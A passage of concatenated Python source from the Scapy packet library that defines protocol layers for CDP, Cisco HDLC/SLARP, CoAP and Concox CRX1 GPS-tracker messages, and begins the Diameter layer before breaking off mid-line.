"CDPMsgMTU", 0x0012: "CDPMsgTrustBitmap", 0x0013: "CDPMsgUntrustedPortCoS", # 0x0014: "CDPMsgSystemName", # 0x0015: "CDPMsgSystemOID", 0x0016: "CDPMsgMgmtAddr", # 0x0017: "CDPMsgLocation", 0x0019: "CDPMsgPowerRequest", 0x001a: "CDPMsgPowerAvailable" } _cdp_tlv_types = {0x0001: "Device ID", 0x0002: "Addresses", 0x0003: "Port ID", 0x0004: "Capabilities", 0x0005: "Software Version", 0x0006: "Platform", 0x0007: "IP Prefix", 0x0008: "Protocol Hello", 0x0009: "VTP Management Domain", # CDPv2 0x000a: "Native VLAN", # CDPv2 0x000b: "Duplex", # 0x000c: "CDP Unknown command (send us a pcap file)", 0x000d: "CDP Unknown command (send us a pcap file)", 0x000e: "VoIP VLAN Reply", 0x000f: "VoIP VLAN Query", 0x0010: "Power", 0x0011: "MTU", 0x0012: "Trust Bitmap", 0x0013: "Untrusted Port CoS", 0x0014: "System Name", 0x0015: "System OID", 0x0016: "Management Address", 0x0017: "Location", 0x0018: "CDP Unknown command (send us a pcap file)", 0x0019: "Power Request", 0x001a: "Power Available"} def _CDPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] if t == 0x0007 and len(p) > 4: tmp_len = struct.unpack("!H", p[2:4])[0] if tmp_len == 8: clsname = "CDPMsgIPGateway" else: clsname = "CDPMsgIPPrefix" else: clsname = _cdp_tlv_cls.get(t, "CDPMsgGeneric") cls = globals()[clsname] return cls(p, **kargs) class CDPMsgGeneric(Packet): name = "CDP Generic Message" fields_desc = [XShortEnumField("type", None, _cdp_tlv_types), FieldLenField("len", None, "val", "!H", adjust=lambda pkt, x: x + 4), StrLenField("val", "", length_from=lambda x:x.len - 4, max_length=65531)] def guess_payload_class(self, p): return conf.padding_layer # _CDPGuessPayloadClass class CDPMsgDeviceID(CDPMsgGeneric): name = "Device ID" type = 0x0001 _cdp_addr_record_ptype = {0x01: "NLPID", 0x02: "802.2"} _cdp_addrrecord_proto_ip = b"\xcc" _cdp_addrrecord_proto_ipv6 = b"\xaa\xaa\x03\x00\x00\x00\x86\xdd" class CDPAddrRecord(Packet): name = "CDP Address" fields_desc = [ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), FieldLenField("plen", None, "proto", "B"), StrLenField("proto", None, length_from=lambda x:x.plen, max_length=255), FieldLenField("addrlen", None, length_of=lambda x:x.addr), StrLenField("addr", None, length_from=lambda x:x.addrlen, max_length=65535)] def guess_payload_class(self, p): return conf.padding_layer class CDPAddrRecordIPv4(CDPAddrRecord): name = "CDP Address IPv4" fields_desc = [ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), FieldLenField("plen", 1, "proto", "B"), StrLenField("proto", _cdp_addrrecord_proto_ip, length_from=lambda x: x.plen, max_length=255), ShortField("addrlen", 4), IPField("addr", "0.0.0.0")] class CDPAddrRecordIPv6(CDPAddrRecord): name = "CDP Address IPv6" fields_desc = [ByteEnumField("ptype", 0x02, _cdp_addr_record_ptype), FieldLenField("plen", 8, "proto", "B"), StrLenField("proto", _cdp_addrrecord_proto_ipv6, length_from=lambda x:x.plen, max_length=255), ShortField("addrlen", 16), IP6Field("addr", "::1")] def _CDPGuessAddrRecord(p, **kargs): cls = conf.raw_layer if len(p) >= 2: plen = orb(p[1]) proto = p[2:plen + 2] if proto == _cdp_addrrecord_proto_ip: clsname = "CDPAddrRecordIPv4" elif proto == _cdp_addrrecord_proto_ipv6: clsname = "CDPAddrRecordIPv6" else: clsname = "CDPAddrRecord" cls = globals()[clsname] return cls(p, **kargs) class CDPMsgAddr(CDPMsgGeneric): name = "Addresses" fields_desc = [XShortEnumField("type", 0x0002, _cdp_tlv_types), ShortField("len", None), FieldLenField("naddr", None, fmt="!I", count_of="addr"), PacketListField("addr", [], _CDPGuessAddrRecord, length_from=lambda x:x.len - 8)] def post_build(self, pkt, pay): if self.len is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] p = pkt + pay return p class CDPMsgPortID(CDPMsgGeneric): name = "Port ID" fields_desc = [XShortEnumField("type", 0x0003, _cdp_tlv_types), FieldLenField("len", None, "iface", "!H", adjust=lambda pkt, x: x + 4), StrLenField("iface", "Port 1", length_from=lambda x:x.len - 4)] # noqa: E501 _cdp_capabilities = ["Router", "TransparentBridge", "SourceRouteBridge", "Switch", "Host", "IGMPCapable", "Repeater"] + ["Bit%d" % x for x in range(25, 0, -1)] class CDPMsgCapabilities(CDPMsgGeneric): name = "Capabilities" fields_desc = [XShortEnumField("type", 0x0004, _cdp_tlv_types), ShortField("len", 8), FlagsField("cap", 0, 32, _cdp_capabilities)] class CDPMsgSoftwareVersion(CDPMsgGeneric): name = "Software Version" type = 0x0005 class CDPMsgPlatform(CDPMsgGeneric): name = "Platform" type = 0x0006 _cdp_duplex = {0x00: "Half", 0x01: "Full"} # ODR Routing class CDPMsgIPGateway(CDPMsgGeneric): name = "IP Gateway" type = 0x0007 fields_desc = [XShortEnumField("type", 0x0007, _cdp_tlv_types), ShortField("len", 8), IPField("defaultgw", "192.168.0.1")] class CDPIPPrefix(Packet): fields_desc = [ IPField("prefix", "192.168.0.1"), ByteField("plen", 24), ] def guess_payload_class(self, p): return conf.padding_layer class CDPMsgIPPrefix(CDPMsgGeneric): name = "IP Prefix" type = 0x0007 fields_desc = [XShortEnumField("type", 0x0007, _cdp_tlv_types), ShortField("len", 9), PacketListField("prefixes", [], CDPIPPrefix, length_from=lambda p: p.len - 4)] class CDPMsgProtoHello(CDPMsgGeneric): name = "Protocol Hello" type = 0x0008 fields_desc = [XShortEnumField("type", 0x0008, _cdp_tlv_types), ShortField("len", 32), OUIField("oui", 0x00000c), XShortField("protocol_id", 0x0), # TLV length (len) - 2 (type) - 2 (len) - 3 (OUI) - 2 # (Protocol ID) StrLenField("data", "", length_from=lambda p: p.len - 9)] class CDPMsgVTPMgmtDomain(CDPMsgGeneric): name = "VTP Management Domain" type = 0x0009 class CDPMsgNativeVLAN(CDPMsgGeneric): name = "Native VLAN" fields_desc = [XShortEnumField("type", 0x000a, _cdp_tlv_types), ShortField("len", 6), ShortField("vlan", 1)] class CDPMsgDuplex(CDPMsgGeneric): name = "Duplex" fields_desc = [XShortEnumField("type", 0x000b, _cdp_tlv_types), ShortField("len", 5), ByteEnumField("duplex", 0x00, _cdp_duplex)] class CDPMsgVoIPVLANReply(CDPMsgGeneric): name = "VoIP VLAN Reply" fields_desc = [XShortEnumField("type", 0x000e, _cdp_tlv_types), ShortField("len", 7), ByteField("status", 1), ShortField("vlan", 1)] class CDPMsgVoIPVLANQuery(CDPMsgGeneric): name = "VoIP VLAN Query" type = 0x000f fields_desc = [XShortEnumField("type", 0x000f, _cdp_tlv_types), FieldLenField("len", None, "unknown2", fmt="!H", adjust=lambda pkt, x: x + 7), XByteField("unknown1", 0), ShortField("vlan", 1), # TLV length (len) - 2 (type) - 2 (len) - 1 (unknown1) - 2 (vlan) # noqa: E501 StrLenField("unknown2", "", length_from=lambda p: p.len - 7, max_length=65528)] class _CDPPowerField(ShortField): def i2repr(self, pkt, x): if x is None: x = 0 return "%d mW" % x class CDPMsgPower(CDPMsgGeneric): name = "Power" # Check if field length is fixed (2 bytes) fields_desc = [XShortEnumField("type", 0x0010, _cdp_tlv_types), ShortField("len", 6), _CDPPowerField("power", 1337)] class CDPMsgMTU(CDPMsgGeneric): name = "MTU" # Check if field length is fixed (2 bytes) fields_desc = [XShortEnumField("type", 0x0011, _cdp_tlv_types), ShortField("len", 6), ShortField("mtu", 1500)] class CDPMsgTrustBitmap(CDPMsgGeneric): name = "Trust Bitmap" fields_desc = [XShortEnumField("type", 0x0012, _cdp_tlv_types), ShortField("len", 5), XByteField("trust_bitmap", 0x0)] class CDPMsgUntrustedPortCoS(CDPMsgGeneric): name = "Untrusted Port CoS" fields_desc = [XShortEnumField("type", 0x0013, _cdp_tlv_types), ShortField("len", 5), XByteField("untrusted_port_cos", 0x0)] class CDPMsgMgmtAddr(CDPMsgAddr): name = "Management Address" type = 0x0016 class CDPMsgPowerRequest(CDPMsgGeneric): name = "Power Request" fields_desc = [XShortEnumField("type", 0x0019, _cdp_tlv_types), FieldLenField("len", None, "power_requested_list", fmt="!H", adjust=lambda pkt, x: x + 8), ShortField("req_id", 0), ShortField("mgmt_id", 0), FieldListField("power_requested_list", [], IntField("power_requested", 0), count_from=lambda pkt: (pkt.len - 8) // 4)] class CDPMsgPowerAvailable(CDPMsgGeneric): name = "Power Available" fields_desc = [XShortEnumField("type", 0x001a, _cdp_tlv_types), FieldLenField("len", None, "power_available_list", fmt="!H", adjust=lambda pkt, x: x + 8), ShortField("req_id", 0), ShortField("mgmt_id", 0), FieldListField("power_available_list", [], IntField("power_available", 0), count_from=lambda pkt: (pkt.len - 8) // 4)] class CDPMsg(CDPMsgGeneric): name = "CDP " fields_desc = [XShortEnumField("type", None, _cdp_tlv_types), FieldLenField("len", None, "val", fmt="!H", adjust=lambda pkt, x: x + 4), StrLenField("val", "", length_from=lambda x:x.len - 4, max_length=65531)] class _CDPChecksum: def _check_len(self, pkt): """Check for odd packet length and pad according to Cisco spec. This padding is only used for checksum computation. The original packet should not be altered.""" if len(pkt) % 2: last_chr = orb(pkt[-1]) if last_chr <= 0x80: return pkt[:-1] + b'\x00' + chb(last_chr) else: return pkt[:-1] + b'\xff' + chb(orb(last_chr) - 1) else: return pkt def post_build(self, pkt, pay): p = pkt + pay if self.cksum is None: cksum = checksum(self._check_len(p)) p = p[:2] + struct.pack("!H", cksum) + p[4:] return p class CDPv2_HDR(_CDPChecksum, CDPMsgGeneric): name = "Cisco Discovery Protocol version 2" fields_desc = [ByteField("vers", 2), ByteField("ttl", 180), XShortField("cksum", None), PacketListField("msg", [], _CDPGuessPayloadClass)] bind_layers(SNAP, CDPv2_HDR, {"code": 0x2000, "OUI": 0xC}) ================================================ FILE: scapy/contrib/chdlc.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Cisco HDLC and SLARP # scapy.contrib.status = loads # This layer is based on information from http://www.nethelp.no/net/cisco-hdlc.txt # noqa: E501 from scapy.data import DLT_C_HDLC from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ IntEnumField, IntField, IPField, XShortField from scapy.layers.l2 import Dot3, STP from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 from scapy.config import conf class CHDLC(Packet): name = "Cisco HDLC" fields_desc = [ByteEnumField("address", 0x0f, {0x0f: "unicast", 0x8f: "multicast"}), # noqa: E501 ByteField("control", 0), XShortField("proto", 0x0800)] class SLARP(Packet): name = "SLARP" fields_desc = [IntEnumField("type", 2, {0: "request", 1: "reply", 2: "line keepalive"}), # noqa: E501 ConditionalField(IPField("address", "192.168.0.1"), lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 ConditionalField(IPField("mask", "255.255.255.0"), lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 ConditionalField(XShortField("unused", 0), lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 ConditionalField(IntField("mysequence", 0), lambda pkt: pkt.type == 2), ConditionalField(IntField("yoursequence", 0), lambda pkt: pkt.type == 2), ConditionalField(XShortField("reliability", 0xffff), lambda pkt: pkt.type == 2)] bind_layers(CHDLC, Dot3, proto=0x6558) bind_layers(CHDLC, IP, proto=0x800) bind_layers(CHDLC, IPv6, proto=0x86dd) bind_layers(CHDLC, SLARP, proto=0x8035) bind_layers(CHDLC, STP, proto=0x4242) conf.l2types.register(DLT_C_HDLC, CHDLC) ================================================ FILE: scapy/contrib/coap.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2016 Anmol Sarma # scapy.contrib.description = Constrained Application Protocol (CoAP) # scapy.contrib.status = loads """ RFC 7252 - Constrained Application Protocol (CoAP) layer for Scapy """ import struct from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ ByteEnumField, ShortField, StrField, StrLenField from scapy.layers.inet import UDP from scapy.packet import Packet, bind_layers from scapy.error import warning from scapy.compat import raw coap_codes = { 0: "Empty", # Request codes 1: "GET", 2: "POST", 3: "PUT", 4: "DELETE", # Response codes 65: "2.01 Created", 66: "2.02 Deleted", 67: "2.03 Valid", 68: "2.04 Changed", 69: "2.05 Content", 128: "4.00 Bad Request", 129: "4.01 Unauthorized", 130: "4.02 Bad Option", 131: "4.03 Forbidden", 132: "4.04 Not Found", 133: "4.05 Method Not Allowed", 134: "4.06 Not Acceptable", 140: "4.12 Precondition Failed", 141: "4.13 Request Entity Too Large", 143: "4.15 Unsupported Content-Format", 160: "5.00 Internal Server Error", 161: "5.01 Not Implemented", 162: "5.02 Bad Gateway", 163: "5.03 Service Unavailable", 164: "5.04 Gateway Timeout", 165: "Proxying Not Supported"} coap_options = ({ 1: "If-Match", 3: "Uri-Host", 4: "ETag", 5: "If-None-Match", 7: "Uri-Port", 8: "Location-Path", 11: "Uri-Path", 12: "Content-Format", 14: "Max-Age", 15: "Uri-Query", 17: "Accept", 20: "Location-Query", 35: "Proxy-Uri", 39: "Proxy-Scheme", 60: "Size1" }, { "If-Match": 1, "Uri-Host": 3, "ETag": 4, "If-None-Match": 5, "Uri-Port": 7, "Location-Path": 8, "Uri-Path": 11, "Content-Format": 12, "Max-Age": 14, "Uri-Query": 15, "Accept": 17, "Location-Query": 20, "Proxy-Uri": 35, "Proxy-Scheme": 39, "Size1": 60 }) def _get_ext_field_size(val): if val >= 15: warning("Invalid Option Delta or Length") if val == 14: return 2 if val == 13: return 1 return 0 def _get_delta_ext_size(pkt): return _get_ext_field_size(pkt.delta) def _get_len_ext_size(pkt): return _get_ext_field_size(pkt.len) def _get_abs_val(val, ext_val): if val >= 15: warning("Invalid Option Length or Delta %d" % val) if val == 14: return 269 + struct.unpack('!H', ext_val)[0] if val == 13: return 13 + struct.unpack('B', ext_val)[0] return val def _get_opt_val_size(pkt): return _get_abs_val(pkt.len, pkt.len_ext) class _CoAPOpt(Packet): fields_desc = [BitField("delta", 0, 4), BitField("len", 0, 4), StrLenField("delta_ext", "", length_from=_get_delta_ext_size), # noqa: E501 StrLenField("len_ext", "", length_from=_get_len_ext_size), StrLenField("opt_val", "", length_from=_get_opt_val_size)] @staticmethod def _populate_extended(val): if val >= 269: return struct.pack('!H', val - 269), 14 if val >= 13: return struct.pack('B', val - 13), 13 return None, val def do_build(self): self.delta_ext, self.delta = self._populate_extended(self.delta) self.len_ext, self.len = self._populate_extended(len(self.opt_val)) return Packet.do_build(self) def guess_payload_class(self, payload): if payload[:1] != b"\xff": return _CoAPOpt else: return Packet.guess_payload_class(self, payload) class _CoAPOptsField(StrField): islist = 1 def i2h(self, pkt, x): return [(coap_options[0][o[0]], o[1]) if o[0] in coap_options[0] else o for o in x] # noqa: E501 # consume only the coap layer from the wire string def getfield(self, pkt, s): opts = self.m2i(pkt, s) used = 0 for o in opts: used += o[0] return s[used:], [(o[1], o[2]) for o in opts] def m2i(self, pkt, x): opts = [] o = _CoAPOpt(x) cur_delta = 0 while isinstance(o, _CoAPOpt): cur_delta += _get_abs_val(o.delta, o.delta_ext) # size of this option in bytes u = 1 + len(o.opt_val) + len(o.delta_ext) + len(o.len_ext) opts.append((u, cur_delta, o.opt_val)) o = o.payload return opts def i2m(self, pkt, x): if not x: return b"" opt_lst = [] for o in x: if isinstance(o[0], str): opt_lst.append((coap_options[1][o[0]], o[1])) else: opt_lst.append(o) opt_lst.sort(key=lambda o: o[0]) opts = _CoAPOpt(delta=opt_lst[0][0], opt_val=opt_lst[0][1]) high_opt = opt_lst[0][0] for o in opt_lst[1:]: opts = opts / _CoAPOpt(delta=o[0] - high_opt, opt_val=o[1]) high_opt = o[0] return raw(opts) class _CoAPPaymark(StrField): def i2h(self, pkt, x): return x def getfield(self, pkt, s): (u, m) = self.m2i(pkt, s) return s[u:], m def m2i(self, pkt, x): if len(x) > 0 and x[:1] == b"\xff": return 1, b'\xff' return 0, b'' def i2m(self, pkt, x): return x class CoAP(Packet): __slots__ = ["content_format"] name = "CoAP" fields_desc = [BitField("ver", 1, 2), BitEnumField("type", 0, 2, {0: "CON", 1: "NON", 2: "ACK", 3: "RST"}), # noqa: E501 BitFieldLenField("tkl", None, 4, length_of='token'), ByteEnumField("code", 0, coap_codes), ShortField("msg_id", 0), StrLenField("token", "", length_from=lambda pkt: pkt.tkl), _CoAPOptsField("options", []), _CoAPPaymark("paymark", b"") ] def getfieldval(self, attr): v = getattr(self, attr) if v: return v return Packet.getfieldval(self, attr) def post_dissect(self, pay): for k in self.options: if k[0] == "Content-Format": self.content_format = k[1] return pay bind_layers(UDP, CoAP, sport=5683) bind_layers(UDP, CoAP, dport=5683) ================================================ FILE: scapy/contrib/concox.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2019 Juciano Cardoso # 2019 Guillaume Valadon # scapy.contrib.description = Concox CRX1 unit tests # scapy.contrib.status = loads import binascii from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP, UDP from scapy.fields import BitField, BitEnumField, X3BytesField, ShortField, \ XShortField, FieldLenField, PacketLenField, XByteField, XByteEnumField, \ ByteEnumField, StrFixedLenField, ConditionalField, FlagsField, ByteField, \ IntField, XIntField, StrLenField, ScalingField PROTOCOL_NUMBERS = { 0x01: 'LOGIN MESSAGE', 0x13: 'HEARTBEAT', 0x12: 'LOCATION', 0x16: 'ALARM', 0x80: 'ONLINE COMMAND', 0x15: 'ONLINE COMMAND REPLYED', 0x94: 'INFORMATION TRANSMISSION', } SUBPROTOCOL_NUMBERS = { 0x00: "EXTERNAL POWER VOLTAGE", 0x04: "TERMINAL STATUS SYNCHRONIZATION", 0x05: "DOOR STATUS", } VOLTAGE_LEVELS = { 0x00: "No Power (Shutdown)", 0x01: "Extremely Low Battery", 0x02: "Very Low Battery", 0x03: "Low Battery", 0x04: "Medium", 0x05: "High", 0x06: "Very High", } GSM_SIGNAL_STRENGTH = { 0x00: "No Signal", 0x01: "Extremely Weak Signal", 0x02: "Very Weak Signal", 0x03: "Good Signal", 0x04: "Strong Signal", } LANGUAGE = { 0x01: "Chinese", 0x02: "English", } class BCDStrFixedLenField(StrFixedLenField): def i2h(self, pkt, x): if isinstance(x, bytes): return binascii.b2a_hex(x) return binascii.a2b_hex(x) class CRX1NewPacketContent(Packet): name = "CRX1 New Packet Content" fields_desc = [ XByteEnumField('protocol_number', 0x12, PROTOCOL_NUMBERS), # Login ConditionalField( BCDStrFixedLenField('terminal_id', '00000000', length=8), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number == 0x01), # GPS Location ConditionalField( ByteField('year', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x12, 0x16)), ConditionalField( ByteField('month', 0x01), lambda pkt: len(pkt.original) > 5 and pkt .protocol_number in (0x12, 0x16)), ConditionalField( ByteField('day', 0x01), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x12, 0x16)), ConditionalField( ByteField('hour', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x12, 0x16)), ConditionalField( ByteField('minute', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( ByteField('second', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( BitField('gps_information_length', 0x00, 4), lambda pkt: len( pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( BitField('positioning_satellite_number', 0x00, 4), lambda pkt: len( pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( ScalingField('latitude', 0x00, scaling=1.0 / 1800000, ndigits=6, fmt="!I"), lambda pkt: len(pkt.original) > 5 and \ pkt.protocol_number in (0x12, 0x16)), ConditionalField( ScalingField('longitude', 0x00, scaling=1.0 / 1800000, ndigits=6, fmt="!I"), lambda pkt: len(pkt.original) > 5 and \ pkt.protocol_number in (0x12, 0x16)), ConditionalField( ByteField('speed', 0x00), lambda pkt: len(pkt.original) > 5 and pkt .protocol_number in (0x12, 0x16)), ConditionalField( BitField('course', 0x00, 10), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( BitEnumField('latitude_hemisphere', 0x00, 1, { 0: "South", 1: "North" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x12, 0x16)), ConditionalField( BitEnumField('longitude_hemisphere', 0x00, 1, { 0: "East", 1: "West" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x12, 0x16)), ConditionalField( BitEnumField('gps_been_positioning', 0x00, 1, { 0: "No", 1: "Yes" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x12, 0x16)), ConditionalField( BitEnumField('gps_status', 0x00, 1, { 0: "GPS real-time", 1: "Differential positioning" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x12, 0x16)), ConditionalField( BitField('course_status_reserved', 0x00, 2), lambda pkt: len( pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( ByteField('lbs_length', 0x00), lambda pkt: len(pkt.original) > 5 and \ pkt.protocol_number in (0x16, )), ConditionalField( XShortField('mcc', 0x00), lambda pkt: len(pkt.original) > 5 and pkt .protocol_number in (0x12, 0x16)), ConditionalField( XByteField('mnc', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x12, 0x16)), ConditionalField( XShortField('lac', 0x00), lambda pkt: len(pkt.original) > 5 and pkt .protocol_number in (0x12, 0x16)), ConditionalField( X3BytesField('cell_id', 0x00), lambda pkt: len(pkt.original) > 5 and \ pkt.protocol_number in (0x12, 0x16)), ConditionalField( IntField('mileage', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x12, ) and len(pkt.original) > 31), # Heartbeat ConditionalField( BitEnumField('defence', 0x00, 1, { 0: "Deactivated", 1: "Activated" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( BitEnumField('acc', 0x00, 1, { 0: "Low", 1: "High" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( BitEnumField('charge', 0x00, 1, { 0: "Not Charge", 1: "Charging" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( BitEnumField( 'alarm', 0x00, 3, { 0: "Normal", 1: "Vibration", 2: "Power Cut", 3: "Low Battery", 4: "SOS" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x16)), ConditionalField( BitEnumField('gps_tracking', 0x00, 1, { 0: "Not Charge", 1: "Charging" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( BitEnumField('oil_and_eletricity', 0x00, 1, { 0: "Connected", 1: "Disconnected" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( ByteEnumField("voltage_level", 0x00, VOLTAGE_LEVELS), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x16)), ConditionalField( ByteEnumField("gsm_signal_strength", 0x00, GSM_SIGNAL_STRENGTH), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x16)), # Online Command ConditionalField( FieldLenField('command_length', None, fmt='B', length_of="command_content"), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)), ConditionalField( XIntField('server_flag_bit', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)), ConditionalField( StrLenField( "command_content", "", length_from=lambda pkt: pkt.command_length - 4), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)), # Common ConditionalField( ByteEnumField( "alarm_extended", 0x00, { 0x00: "Normal", 0x01: "SOS", 0x02: "Power cut", 0x03: "Vibration", 0x04: "Enter fence", 0x05: "Exit fence", 0x06: "Over speed", 0x09: "Displacement", 0x0a: "Enter GPS dead zone", 0x0b: "Exit GPS dead zone", 0x0c: "Power on", 0x0d: "GPS First fix notice", 0x0e: "Low battery", 0x0f: "Low battery protection", 0x10: "SIM Change", 0x11: "Power off", 0x12: "Airplane mode", 0x13: "Disassemble", 0x14: "Door", 0xfe: "ACC On", 0xff: "ACC Off", }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x15, 0x16)), ConditionalField( ByteEnumField("language", 0x00, LANGUAGE), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x13, 0x15, 0x16)), # Information transmission ConditionalField( ByteEnumField("subprotocol_number", 0x00, SUBPROTOCOL_NUMBERS), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x94, )), ConditionalField( ShortField('external_battery', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x94, ) and pkt.subprotocol_number == 0x00), ConditionalField( FlagsField('external_io_detection', 0x00, 8, [ 'door_status', 'trigger_status', 'io_status', ]), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x94, ) and pkt.subprotocol_number == 0x05), # Default XShortField('information_serial_number', None), XShortField('crc', None), ] class CRX1New(Packet): name = "CRX1 New" fields_desc = [ XShortField('start_bit', 0x7878), ConditionalField(ByteField( 'default_packet_length', None, ), lambda pkt: pkt.start_bit == 0x7878), ConditionalField(ShortField( 'extended_packet_length', None, ), lambda pkt: pkt.start_bit == 0x7979), ConditionalField( PacketLenField('default_packet_content', None, CRX1NewPacketContent, length_from=lambda pkt: pkt.default_packet_length), lambda pkt: pkt.start_bit == 0x7878), ConditionalField( PacketLenField('extended_packet_content', None, CRX1NewPacketContent, length_from=lambda pkt: pkt.extended_packet_length), lambda pkt: pkt.start_bit == 0x7979), XShortField('end_bit', 0x0d0a), ] bind_layers(TCP, CRX1New, sport=8821, dport=8821) bind_layers(UDP, CRX1New, sport=8821, dport=8821) ================================================ FILE: scapy/contrib/diameter.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Acknowledgment: Patrick Battistello """ Diameter protocol implementation for Scapy This implements the base Diameter protocol RFC6733 and the additional standards: # noqa: E501 RFC7155, RFC4004, RFC4006, RFC4072, RFC4740, RFC5778, RFC5447, RFC6942, RFC5777 # noqa: E501 ETS29229 V12.3.0 (2014-09), ETS29272 V13.1.0 (2015-03), ETS29329 V12.5.0 (2014-12), # noqa: E501 ETS29212 V13.1.0 (2015-03), ETS32299 V13.0.0 (2015-03), ETS29210 V6.7.0 (2006-12), # noqa: E501 ETS29214 V13.1.0 (2015-03), ETS29273 V12.7.0 (2015-03), ETS29173 V12.3.0 (2015-03), # noqa: E501 ETS29172 V12.5.0 (2015-03), ETS29215 V13.1.0 (2015-03), ETS29209 V6.8.0 (2011-09), # noqa: E501 ETS29061 V13.0.0 (2015-03), ETS29219 V13.0.0 (2014-12) IMPORTANT note: - Some Diameter fields (Unsigned64, Float32, ...) have not been tested yet due to lack # noqa: E501 of network captures containing AVPs of that types contributions are welcomed. # noqa: E501 """ # scapy.contrib.description = Diameter # scapy.contrib.status = loads import socket import struct from time import ctime from scapy.packet import Packet, bind_layers from scapy.fields import ConditionalField, EnumField, Field, FieldLenField, \ FlagsField, IEEEDoubleField, IEEEFloatField, IntEnumField, IntField, \ LongField, PacketListField, SignedIntField, StrLenField, X3BytesField, \ XByteField, XIntField from scapy.layers.inet import TCP from scapy.layers.sctp import SCTPChunkData from scapy.compat import chb, orb, raw, bytes_hex, plain_str from scapy.error import warning from scapy.utils import inet_ntoa, inet_aton from scapy.pton_ntop import inet_pton, inet_ntop ##################################################################### ##################################################################### # # Definition of additional fields # ##################################################################### ##################################################################### class I3BytesEnumField (X3BytesField, EnumField): """ 3 bytes enum field """ def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, "!I") class I3FieldLenField(X3BytesField, FieldLenField): __slots__ = ["length_of", "count_of", "adjust"] def __init__( self, name, default, length_of=None, count_of=None, adjust=lambda pkt, x: x): X3BytesField.__init__(self, name, default) self.length_of = length_of self.count_of = count_of self.adjust = adjust def i2m(self, pkt, x): return FieldLenField.i2m(self, pkt, x) ########################################################### # Fields for Diameter commands ########################################################### class DRFlags (FlagsField): def i2repr(self, pkt, x): if x is None: return "None" res = hex(int(x)) r = '' cmdt = ' Request' if (x & 128) else ' Answer' if x & 15: # Check if reserved bits are used nb = 8 offset = 0 else: # Strip the first 4 bits nb = 4 offset = 4 x >>= 4 for i in range(nb): r += (x & 1) and str(self.names[offset + i][0]) or '-' x >>= 1 invert = r[::-1] return res + cmdt + ' (' + invert[:nb] + ')' class DRCode (I3BytesEnumField): def __init__(self, name, default, enum): """enum is a dict of tuples, so conversion is required before calling the actual init method. # noqa: E501 Note: the conversion is done only once.""" enumDict = {} for k, v in enum.items(): enumDict[k] = v[0] I3BytesEnumField.__init__(self, name, default, enumDict) def i2repr(self, pkt, x): cmd = self.i2repr_one(pkt, x) sx = str(x) if cmd == sx: cmd = 'Unknown' return sx + " (" + cmd + ")" ########################################################### # Fields for Diameter AVPs ########################################################### class AVPFlags (FlagsField): def i2repr(self, pkt, x): if x is None: return "None" res = hex(int(x)) r = '' if x & 31: # Check if reserved bits are used nb = 8 offset = 0 else: # Strip the first 5 bits nb = 3 offset = 5 x >>= 5 for i in range(nb): r += (x & 1) and str(self.names[offset + i][0]) or '-' x >>= 1 invert = r[::-1] return res + ' (' + invert[:nb] + ')' class AVPVendor (IntField): def i2repr(self, pkt, x): vendor = 